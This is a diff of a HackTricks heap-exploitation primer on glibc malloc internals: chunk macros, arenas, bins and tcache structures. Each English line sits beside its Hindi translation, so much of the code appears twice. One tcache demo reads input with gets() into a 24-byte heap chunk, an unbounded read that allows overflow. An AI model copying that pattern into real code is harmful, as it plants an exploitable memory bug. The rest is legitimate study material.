|
||||
value is less than PTRDIFF_T. Returns the requested size or
|
||||
MINSIZE in case the value is less than MINSIZE, or 0 if any of the
|
||||
previous checks fail. */
|
||||
value is less than PTRDIFF_T. Returns the requested size or
|
||||
MINSIZE in case the value is less than MINSIZE, or 0 if any of the
|
||||
previous checks fail. */
|
||||
static inline size_t
|
||||
checked_request2size (size_t req) __nonnull (1)
|
||||
{
|
||||
if (__glibc_unlikely (req > PTRDIFF_MAX))
|
||||
return 0;
|
||||
if (__glibc_unlikely (req > PTRDIFF_MAX))
|
||||
return 0;
|
||||
|
||||
/* When using tagged memory, we cannot share the end of the user
|
||||
block with the header for the next chunk, so ensure that we
|
||||
allocate blocks that are rounded up to the granule size. Take
|
||||
care not to overflow from close to MAX_SIZE_T to a small
|
||||
number. Ideally, this would be part of request2size(), but that
|
||||
must be a macro that produces a compile time constant if passed
|
||||
a constant literal. */
|
||||
if (__glibc_unlikely (mtag_enabled))
|
||||
{
|
||||
/* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */
|
||||
asm ("");
|
||||
/* When using tagged memory, we cannot share the end of the user
|
||||
block with the header for the next chunk, so ensure that we
|
||||
allocate blocks that are rounded up to the granule size. Take
|
||||
care not to overflow from close to MAX_SIZE_T to a small
|
||||
number. Ideally, this would be part of request2size(), but that
|
||||
must be a macro that produces a compile time constant if passed
|
||||
a constant literal. */
|
||||
if (__glibc_unlikely (mtag_enabled))
|
||||
{
|
||||
/* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */
|
||||
asm ("");
|
||||
|
||||
req = (req + (__MTAG_GRANULE_SIZE - 1)) &
|
||||
~(size_t)(__MTAG_GRANULE_SIZE - 1);
|
||||
}
|
||||
req = (req + (__MTAG_GRANULE_SIZE - 1)) &
|
||||
~(size_t)(__MTAG_GRANULE_SIZE - 1);
|
||||
}
|
||||
|
||||
return request2size (req);
|
||||
return request2size (req);
|
||||
}
|
||||
```
|
||||
ध्यान दें कि कुल स्थान की गणना के लिए केवल `SIZE_SZ` को 1 बार जोड़ा गया है क्योंकि `prev_size` फ़ील्ड का उपयोग डेटा संग्रहीत करने के लिए किया जा सकता है, इसलिए केवल प्रारंभिक हेडर की आवश्यकता है।
|
||||
|
||||
Note that for calculating the total space needed it's only added `SIZE_SZ` 1 time because the `prev_size` field can be used to store data, therefore only the initial header is needed.
|
||||
### चंक डेटा प्राप्त करें और मेटाडेटा को बदलें
|
||||
|
||||
### Get Chunk data and alter metadata
|
||||
|
||||
These functions work by receiving a pointer to a chunk and are useful to check/set metadata:
|
||||
|
||||
- Check chunk flags
|
||||
ये फ़ंक्शन एक चंक के लिए एक पॉइंटर प्राप्त करके काम करते हैं और मेटाडेटा की जांच/सेट करने के लिए उपयोगी होते हैं:
|
||||
|
||||
- चंक फ़्लैग की जांच करें
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||
|
||||
@ -296,8 +285,8 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
|
||||
|
||||
|
||||
/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
|
||||
from a non-main arena. This is only set immediately before handing
|
||||
the chunk to the user, if necessary. */
|
||||
from a non-main arena. This is only set immediately before handing
|
||||
the chunk to the user, if necessary. */
|
||||
#define NON_MAIN_ARENA 0x4
|
||||
|
||||
/* Check for chunk from main arena. */
|
||||
@ -306,18 +295,16 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
|
||||
/* Mark a chunk as not being on the main arena. */
|
||||
#define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA)
|
||||
```
|
||||
|
||||
- Sizes and pointers to other chunks
|
||||
|
||||
- अन्य चंक्स के आकार और पॉइंटर्स
|
||||
```c
|
||||
/*
|
||||
Bits to mask off when extracting size
|
||||
Bits to mask off when extracting size
|
||||
|
||||
Note: IS_MMAPPED is intentionally not masked off from size field in
|
||||
macros for which mmapped chunks should never be seen. This should
|
||||
cause helpful core dumps to occur if it is tried by accident by
|
||||
people extending or adapting this malloc.
|
||||
*/
|
||||
Note: IS_MMAPPED is intentionally not masked off from size field in
|
||||
macros for which mmapped chunks should never be seen. This should
|
||||
cause helpful core dumps to occur if it is tried by accident by
|
||||
people extending or adapting this malloc.
|
||||
*/
|
||||
#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
|
||||
/* Get size, ignoring use bits */
|
||||
@ -341,35 +328,31 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
|
||||
/* Treat space at ptr + offset as a chunk */
|
||||
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
|
||||
```
|
||||
|
||||
- Insue bit
|
||||
|
||||
- इन्स्यू बिट
|
||||
```c
|
||||
/* extract p's inuse bit */
|
||||
#define inuse(p) \
|
||||
((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)
|
||||
((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)
|
||||
|
||||
/* set/clear chunk as being inuse without otherwise disturbing */
|
||||
#define set_inuse(p) \
|
||||
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE
|
||||
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE
|
||||
|
||||
#define clear_inuse(p) \
|
||||
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE)
|
||||
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE)
|
||||
|
||||
|
||||
/* check/set/clear inuse bits in known places */
|
||||
#define inuse_bit_at_offset(p, s) \
|
||||
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)
|
||||
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)
|
||||
|
||||
#define set_inuse_bit_at_offset(p, s) \
|
||||
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE)
|
||||
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE)
|
||||
|
||||
#define clear_inuse_bit_at_offset(p, s) \
|
||||
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
|
||||
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
|
||||
```
|
||||
|
||||
- Set head and footer (when chunk nos in use
|
||||
|
||||
- हेड और फुटर सेट करें (जब चंक नंबर का उपयोग किया जा रहा हो)
|
||||
```c
|
||||
/* Set size at head, without disturbing its use bit */
|
||||
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
|
||||
@ -380,44 +363,40 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
|
||||
/* Set size at footer (only when chunk is not in use) */
|
||||
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
|
||||
```
|
||||
|
||||
- Get the size of the real usable data inside the chunk
|
||||
|
||||
- चंक के अंदर वास्तविक उपयोगी डेटा का आकार प्राप्त करें
|
||||
```c
|
||||
#pragma GCC poison mchunk_size
|
||||
#pragma GCC poison mchunk_prev_size
|
||||
|
||||
/* This is the size of the real usable data in the chunk. Not valid for
|
||||
dumped heap chunks. */
|
||||
dumped heap chunks. */
|
||||
#define memsize(p) \
|
||||
(__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \
|
||||
chunksize (p) - CHUNK_HDR_SZ : \
|
||||
chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ))
|
||||
(__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \
|
||||
chunksize (p) - CHUNK_HDR_SZ : \
|
||||
chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ))
|
||||
|
||||
/* If memory tagging is enabled the layout changes to accommodate the granule
|
||||
size, this is wasteful for small allocations so not done by default.
|
||||
Both the chunk header and user data has to be granule aligned. */
|
||||
size, this is wasteful for small allocations so not done by default.
|
||||
Both the chunk header and user data has to be granule aligned. */
|
||||
_Static_assert (__MTAG_GRANULE_SIZE <= CHUNK_HDR_SZ,
|
||||
"memory tagging is not supported with large granule.");
|
||||
"memory tagging is not supported with large granule.");
|
||||
|
||||
static __always_inline void *
|
||||
tag_new_usable (void *ptr)
|
||||
{
|
||||
if (__glibc_unlikely (mtag_enabled) && ptr)
|
||||
{
|
||||
mchunkptr cp = mem2chunk(ptr);
|
||||
ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));
|
||||
}
|
||||
return ptr;
|
||||
if (__glibc_unlikely (mtag_enabled) && ptr)
|
||||
{
|
||||
mchunkptr cp = mem2chunk(ptr);
|
||||
ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));
|
||||
}
|
||||
return ptr;
|
||||
}
|
||||
```
|
||||
## उदाहरण
|
||||
|
||||
## Examples
|
||||
|
||||
### Quick Heap Example
|
||||
|
||||
Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) but in arm64:
|
||||
### त्वरित हीप उदाहरण
|
||||
|
||||
[https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) से त्वरित हीप उदाहरण लेकिन arm64 में:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -425,32 +404,28 @@ Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](http
|
||||
|
||||
void main(void)
|
||||
{
|
||||
char *ptr;
|
||||
ptr = malloc(0x10);
|
||||
strcpy(ptr, "panda");
|
||||
char *ptr;
|
||||
ptr = malloc(0x10);
|
||||
strcpy(ptr, "panda");
|
||||
}
|
||||
```
|
||||
|
||||
Set a breakpoint at the end of the main function and lets find out where the information was stored:
|
||||
मुख्य फ़ंक्शन के अंत में एक ब्रेकपॉइंट सेट करें और चलिए पता लगाते हैं कि जानकारी कहाँ संग्रहीत की गई थी:
|
||||
|
||||
<figure><img src="../../images/image (1239).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
It's possible to see that the string panda was stored at `0xaaaaaaac12a0` (which was the address given as response by malloc inside `x0`). Checking 0x10 bytes before it's possible to see that the `0x0` represents that the **previous chunk is not used** (length 0) and that the length of this chunk is `0x21`.
|
||||
|
||||
The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x10) and 0x1 doesn't mean that it was reserved 0x21B but the last 3 bits of the length of the current headed have the some special meanings. As the length is always 16-byte aligned (in 64bits machines), these bits are actually never going to be used by the length number.
|
||||
यह देखना संभव है कि स्ट्रिंग panda `0xaaaaaaac12a0` पर संग्रहीत की गई थी (जो कि `x0` के अंदर malloc द्वारा दी गई प्रतिक्रिया का पता था)। 0x10 बाइट्स पहले चेक करने पर यह देखा जा सकता है कि `0x0` दर्शाता है कि **पिछला टुकड़ा उपयोग में नहीं है** (लंबाई 0) और इस टुकड़े की लंबाई `0x21` है।
|
||||
|
||||
आरक्षित अतिरिक्त स्थान (0x21-0x10=0x11) **जोड़े गए हेडर** (0x10) से आता है और 0x1 का मतलब यह नहीं है कि इसे 0x21B के लिए आरक्षित किया गया था, बल्कि वर्तमान हेडेड की लंबाई के अंतिम 3 बिट्स का कुछ विशेष अर्थ है। चूंकि लंबाई हमेशा 16-बाइट संरेखित होती है (64-बिट मशीनों में), ये बिट्स वास्तव में लंबाई संख्या द्वारा कभी उपयोग नहीं किए जाएंगे।
|
||||
```
|
||||
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
|
||||
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
|
||||
0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena
|
||||
```
|
||||
|
||||
### Multithreading Example
|
||||
### मल्टीथ्रेडिंग उदाहरण
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Multithread</summary>
|
||||
|
||||
<summary>मल्टीथ्रेड</summary>
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -460,70 +435,69 @@ The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x1
|
||||
|
||||
|
||||
void* threadFuncMalloc(void* arg) {
|
||||
printf("Hello from thread 1\n");
|
||||
char* addr = (char*) malloc(1000);
|
||||
printf("After malloc and before free in thread 1\n");
|
||||
free(addr);
|
||||
printf("After free in thread 1\n");
|
||||
printf("Hello from thread 1\n");
|
||||
char* addr = (char*) malloc(1000);
|
||||
printf("After malloc and before free in thread 1\n");
|
||||
free(addr);
|
||||
printf("After free in thread 1\n");
|
||||
}
|
||||
|
||||
void* threadFuncNoMalloc(void* arg) {
|
||||
printf("Hello from thread 2\n");
|
||||
printf("Hello from thread 2\n");
|
||||
}
|
||||
|
||||
|
||||
int main() {
|
||||
pthread_t t1;
|
||||
void* s;
|
||||
int ret;
|
||||
char* addr;
|
||||
pthread_t t1;
|
||||
void* s;
|
||||
int ret;
|
||||
char* addr;
|
||||
|
||||
printf("Before creating thread 1\n");
|
||||
getchar();
|
||||
ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL);
|
||||
getchar();
|
||||
printf("Before creating thread 1\n");
|
||||
getchar();
|
||||
ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL);
|
||||
getchar();
|
||||
|
||||
printf("Before creating thread 2\n");
|
||||
ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL);
|
||||
printf("Before creating thread 2\n");
|
||||
ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL);
|
||||
|
||||
printf("Before exit\n");
|
||||
getchar();
|
||||
printf("Before exit\n");
|
||||
getchar();
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
Debugging the previous example it's possible to see how at the beginning there is only 1 arena:
|
||||
पिछले उदाहरण को डिबग करते समय यह देखा जा सकता है कि शुरुआत में केवल 1 एरेना है:
|
||||
|
||||
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Then, after calling the first thread, the one that calls malloc, a new arena is created:
|
||||
फिर, पहले थ्रेड को कॉल करने के बाद, जो malloc को कॉल करता है, एक नया एरेना बनाया जाता है:
|
||||
|
||||
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
and inside of it some chunks can be found:
|
||||
और इसके अंदर कुछ चंक्स पाए जा सकते हैं:
|
||||
|
||||
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Bins & Memory Allocations/Frees
|
||||
## बिन और मेमोरी आवंटन/फ्रीज़
|
||||
|
||||
Check what are the bins and how are they organized and how memory is allocated and freed in:
|
||||
जांचें कि बिन क्या हैं और उन्हें कैसे व्यवस्थित किया गया है और मेमोरी कैसे आवंटित और मुक्त की जाती है:
|
||||
|
||||
{{#ref}}
|
||||
bins-and-memory-allocations.md
|
||||
{{#endref}}
|
||||
|
||||
## Heap Functions Security Checks
|
||||
## हीप फ़ंक्शंस सुरक्षा जांच
|
||||
|
||||
Functions involved in heap will perform certain check before performing its actions to try to make sure the heap wasn't corrupted:
|
||||
हीप में शामिल फ़ंक्शन अपने कार्यों को करने से पहले कुछ जांच करेंगे ताकि यह सुनिश्चित किया जा सके कि हीप भ्रष्ट नहीं हुआ है:
|
||||
|
||||
{{#ref}}
|
||||
heap-memory-functions/heap-functions-security-checks.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
|
||||
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
|
||||
|
||||
@ -1,61 +1,56 @@
|
||||
# Bins & Memory Allocations
|
||||
# बिन और मेमोरी आवंटन
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## बुनियादी जानकारी
|
||||
|
||||
In order to improve the efficiency on how chunks are stored every chunk is not just in one linked list, but there are several types. These are the bins and there are 5 type of bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) small bins, 63 large bins, 1 unsorted bin, 10 fast bins and 64 tcache bins per thread.
|
||||
चंक्स को स्टोर करने की दक्षता को सुधारने के लिए, हर चंक केवल एक लिंक्ड लिस्ट में नहीं होता, बल्कि कई प्रकार होते हैं। ये बिन हैं और 5 प्रकार के बिन हैं: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) छोटे बिन, 63 बड़े बिन, 1 असॉर्टेड बिन, 10 फास्ट बिन और 64 टीकैश बिन प्रति थ्रेड।
|
||||
|
||||
The initial address to each unsorted, small and large bins is inside the same array. The index 0 is unused, 1 is the unsorted bin, bins 2-64 are small bins and bins 65-127 are large bins.
|
||||
प्रत्येक असॉर्टेड, छोटे और बड़े बिन के लिए प्रारंभिक पता उसी ऐरे के अंदर होता है। इंडेक्स 0 अनुपयोगी है, 1 असॉर्टेड बिन है, बिन 2-64 छोटे बिन हैं और बिन 65-127 बड़े बिन हैं।
|
||||
|
||||
### Tcache (Per-Thread Cache) Bins
|
||||
### टीकैश (प्रति-थ्रेड कैश) बिन
|
||||
|
||||
Even though threads try to have their own heap (see [Arenas](bins-and-memory-allocations.md#arenas) and [Subheaps](bins-and-memory-allocations.md#subheaps)), there is the possibility that a process with a lot of threads (like a web server) **will end sharing the heap with another threads**. In this case, the main solution is the use of **lockers**, which might **slow down significantly the threads**.
|
||||
हालांकि थ्रेड अपने खुद के हीप (देखें [एरेनास](bins-and-memory-allocations.md#arenas) और [सबहीप्स](bins-and-memory-allocations.md#subheaps)) रखने की कोशिश करते हैं, एक प्रक्रिया जिसमें बहुत सारे थ्रेड होते हैं (जैसे एक वेब सर्वर) **दूसरे थ्रेड के साथ हीप साझा करने की संभावना होती है**। इस मामले में, मुख्य समाधान **लॉकर** का उपयोग है, जो **थ्रेड्स को महत्वपूर्ण रूप से धीमा कर सकता है**।
|
||||
|
||||
Therefore, a tcache is similar to a fast bin per thread in the way that it's a **single linked list** that doesn't merge chunks. Each thread has **64 singly-linked tcache bins**. Each bin can have a maximum of [7 same-size chunks](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) ranging from [24 to 1032B on 64-bit systems and 12 to 516B on 32-bit systems](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
|
||||
इसलिए, एक टीकैश एक फास्ट बिन की तरह है प्रति थ्रेड इस तरह से कि यह एक **सिंगल लिंक्ड लिस्ट** है जो चंक्स को मर्ज नहीं करता। प्रत्येक थ्रेड के पास **64 सिंगली-लिंक्ड टीकैश बिन** होते हैं। प्रत्येक बिन में अधिकतम [7 समान आकार के चंक्स](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) हो सकते हैं जो [64-बिट सिस्टम पर 24 से 1032B और 32-बिट सिस्टम पर 12 से 516B](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315) के बीच होते हैं।
|
||||
|
||||
**When a thread frees** a chunk, **if it isn't too big** to be allocated in the tcache and the respective tcache bin **isn't full** (already 7 chunks), **it'll be allocated in there**. If it cannot go to the tcache, it'll need to wait for the heap lock to be able to perform the free operation globally.
|
||||
**जब एक थ्रेड** एक चंक को फ्री करता है, **यदि यह टीकैश में आवंटित करने के लिए बहुत बड़ा नहीं है** और संबंधित टीकैश बिन **भरा नहीं है** (पहले से 7 चंक्स), **तो इसे वहां आवंटित किया जाएगा**। यदि यह टीकैश में नहीं जा सकता, तो इसे फ्री ऑपरेशन को वैश्विक रूप से करने के लिए हीप लॉक का इंतजार करना होगा।
|
||||
|
||||
When a **chunk is allocated**, if there is a free chunk of the needed size in the **Tcache it'll use it**, if not, it'll need to wait for the heap lock to be able to find one in the global bins or create a new one.\
|
||||
There's also an optimization, in this case, while having the heap lock, the thread **will fill his Tcache with heap chunks (7) of the requested size**, so in case it needs more, it'll find them in Tcache.
|
||||
जब एक **चंक आवंटित किया जाता है**, यदि आवश्यक आकार का एक फ्री चंक **टीकैश में है तो इसका उपयोग करेगा**, यदि नहीं, तो इसे वैश्विक बिन में एक खोजने या एक नया बनाने के लिए हीप लॉक का इंतजार करना होगा।\
|
||||
यहां एक ऑप्टिमाइजेशन भी है, इस मामले में, हीप लॉक होने पर, थ्रेड **अपने टीकैश को अनुरोधित आकार के हीप चंक्स (7) से भरेगा**, ताकि यदि इसे और अधिक की आवश्यकता हो, तो इसे टीकैश में मिल जाएगा।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Add a tcache chunk example</summary>
|
||||
|
||||
<summary>टीकैश चंक उदाहरण जोड़ें</summary>
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main(void)
|
||||
{
|
||||
char *chunk;
|
||||
chunk = malloc(24);
|
||||
printf("Address of the chunk: %p\n", (void *)chunk);
|
||||
gets(chunk);
|
||||
free(chunk);
|
||||
return 0;
|
||||
char *chunk;
|
||||
chunk = malloc(24);
|
||||
printf("Address of the chunk: %p\n", (void *)chunk);
|
||||
gets(chunk);
|
||||
free(chunk);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Compile it and debug it with a breakpoint in the ret opcode from main function. then with gef you can see the tcache bin in use:
|
||||
|
||||
इसे संकलित करें और मुख्य फ़ंक्शन से ret ऑपकोड में एक ब्रेकपॉइंट के साथ डिबग करें। फिर gef के साथ आप उपयोग में tcache बिन देख सकते हैं:
|
||||
```bash
|
||||
gef➤ heap bins
|
||||
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
||||
Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
#### Tcache Structs & Functions
|
||||
#### Tcache संरचनाएँ और फ़ंक्शन
|
||||
|
||||
In the following code it's possible to see the **max bins** and **chunks per index**, the **`tcache_entry`** struct created to avoid double frees and **`tcache_perthread_struct`**, a struct that each thread uses to store the addresses to each index of the bin.
|
||||
निम्नलिखित कोड में **max bins** और **chunks per index** देखना संभव है, **`tcache_entry`** संरचना जो डबल फ्री से बचने के लिए बनाई गई है और **`tcache_perthread_struct`**, एक संरचना जो प्रत्येक थ्रेड प्रत्येक बिन के इंडेक्स के लिए पते को स्टोर करने के लिए उपयोग करता है।
|
||||
|
||||
<details>
|
||||
|
||||
<summary><code>tcache_entry</code> and <code>tcache_perthread_struct</code></summary>
|
||||
|
||||
<summary><code>tcache_entry</code> और <code>tcache_perthread_struct</code></summary>
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c
|
||||
|
||||
@ -72,135 +67,131 @@ In the following code it's possible to see the **max bins** and **chunks per ind
|
||||
# define usize2tidx(x) csize2tidx (request2size (x))
|
||||
|
||||
/* With rounding and alignment, the bins are...
|
||||
idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
|
||||
idx 1 bytes 25..40 or 13..20
|
||||
idx 2 bytes 41..56 or 21..28
|
||||
etc. */
|
||||
idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
|
||||
idx 1 bytes 25..40 or 13..20
|
||||
idx 2 bytes 41..56 or 21..28
|
||||
etc. */
|
||||
|
||||
/* This is another arbitrary limit, which tunables can change. Each
|
||||
tcache bin will hold at most this number of chunks. */
|
||||
tcache bin will hold at most this number of chunks. */
|
||||
# define TCACHE_FILL_COUNT 7
|
||||
|
||||
/* Maximum chunks in tcache bins for tunables. This value must fit the range
|
||||
of tcache->counts[] entries, else they may overflow. */
|
||||
of tcache->counts[] entries, else they may overflow. */
|
||||
# define MAX_TCACHE_COUNT UINT16_MAX
|
||||
|
||||
[...]
|
||||
|
||||
typedef struct tcache_entry
|
||||
{
|
||||
struct tcache_entry *next;
|
||||
/* This field exists to detect double frees. */
|
||||
uintptr_t key;
|
||||
struct tcache_entry *next;
|
||||
/* This field exists to detect double frees. */
|
||||
uintptr_t key;
|
||||
} tcache_entry;
|
||||
|
||||
/* There is one of these for each thread, which contains the
|
||||
per-thread cache (hence "tcache_perthread_struct"). Keeping
|
||||
overall size low is mildly important. Note that COUNTS and ENTRIES
|
||||
are redundant (we could have just counted the linked list each
|
||||
time), this is for performance reasons. */
|
||||
per-thread cache (hence "tcache_perthread_struct"). Keeping
|
||||
overall size low is mildly important. Note that COUNTS and ENTRIES
|
||||
are redundant (we could have just counted the linked list each
|
||||
time), this is for performance reasons. */
|
||||
typedef struct tcache_perthread_struct
|
||||
{
|
||||
uint16_t counts[TCACHE_MAX_BINS];
|
||||
tcache_entry *entries[TCACHE_MAX_BINS];
|
||||
uint16_t counts[TCACHE_MAX_BINS];
|
||||
tcache_entry *entries[TCACHE_MAX_BINS];
|
||||
} tcache_perthread_struct;
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
The function `__tcache_init` is the function that creates and allocates the space for the `tcache_perthread_struct` obj
|
||||
फंक्शन `__tcache_init` वह फंक्शन है जो `tcache_perthread_struct` ऑब्जेक्ट के लिए स्थान बनाता और आवंटित करता है।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>tcache_init code</summary>
|
||||
|
||||
<summary>tcache_init कोड</summary>
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3241C1-L3274C2
|
||||
|
||||
static void
|
||||
tcache_init(void)
|
||||
{
|
||||
mstate ar_ptr;
|
||||
void *victim = 0;
|
||||
const size_t bytes = sizeof (tcache_perthread_struct);
|
||||
mstate ar_ptr;
|
||||
void *victim = 0;
|
||||
const size_t bytes = sizeof (tcache_perthread_struct);
|
||||
|
||||
if (tcache_shutting_down)
|
||||
return;
|
||||
if (tcache_shutting_down)
|
||||
return;
|
||||
|
||||
arena_get (ar_ptr, bytes);
|
||||
victim = _int_malloc (ar_ptr, bytes);
|
||||
if (!victim && ar_ptr != NULL)
|
||||
{
|
||||
ar_ptr = arena_get_retry (ar_ptr, bytes);
|
||||
victim = _int_malloc (ar_ptr, bytes);
|
||||
}
|
||||
arena_get (ar_ptr, bytes);
|
||||
victim = _int_malloc (ar_ptr, bytes);
|
||||
if (!victim && ar_ptr != NULL)
|
||||
{
|
||||
ar_ptr = arena_get_retry (ar_ptr, bytes);
|
||||
victim = _int_malloc (ar_ptr, bytes);
|
||||
}
|
||||
|
||||
|
||||
if (ar_ptr != NULL)
|
||||
__libc_lock_unlock (ar_ptr->mutex);
|
||||
if (ar_ptr != NULL)
|
||||
__libc_lock_unlock (ar_ptr->mutex);
|
||||
|
||||
/* In a low memory situation, we may not be able to allocate memory
|
||||
- in which case, we just keep trying later. However, we
|
||||
typically do this very early, so either there is sufficient
|
||||
memory, or there isn't enough memory to do non-trivial
|
||||
allocations anyway. */
|
||||
if (victim)
|
||||
{
|
||||
tcache = (tcache_perthread_struct *) victim;
|
||||
memset (tcache, 0, sizeof (tcache_perthread_struct));
|
||||
}
|
||||
/* In a low memory situation, we may not be able to allocate memory
|
||||
- in which case, we just keep trying later. However, we
|
||||
typically do this very early, so either there is sufficient
|
||||
memory, or there isn't enough memory to do non-trivial
|
||||
allocations anyway. */
|
||||
if (victim)
|
||||
{
|
||||
tcache = (tcache_perthread_struct *) victim;
|
||||
memset (tcache, 0, sizeof (tcache_perthread_struct));
|
||||
}
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
#### Tcache Indexes
|
||||
#### Tcache इंडेक्स
|
||||
|
||||
The tcache have several bins depending on the size an the initial pointers to the **first chunk of each index and the amount of chunks per index are located inside a chunk**. This means that locating the chunk with this information (usually the first), it's possible to find all the tcache initial points and the amount of Tcache chunks.
|
||||
Tcache में कई बिन होते हैं जो आकार और **प्रत्येक इंडेक्स के पहले चंक के लिए प्रारंभिक पॉइंटर्स और इंडेक्स प्रति चंक की मात्रा एक चंक के अंदर स्थित होती है**। इसका मतलब है कि इस जानकारी के साथ चंक को ढूंढना (आमतौर पर पहला), सभी tcache प्रारंभिक बिंदुओं और Tcache चंक्स की मात्रा को ढूंढना संभव है।
|
||||
|
||||
### Fast bins
|
||||
### फास्ट बिन
|
||||
|
||||
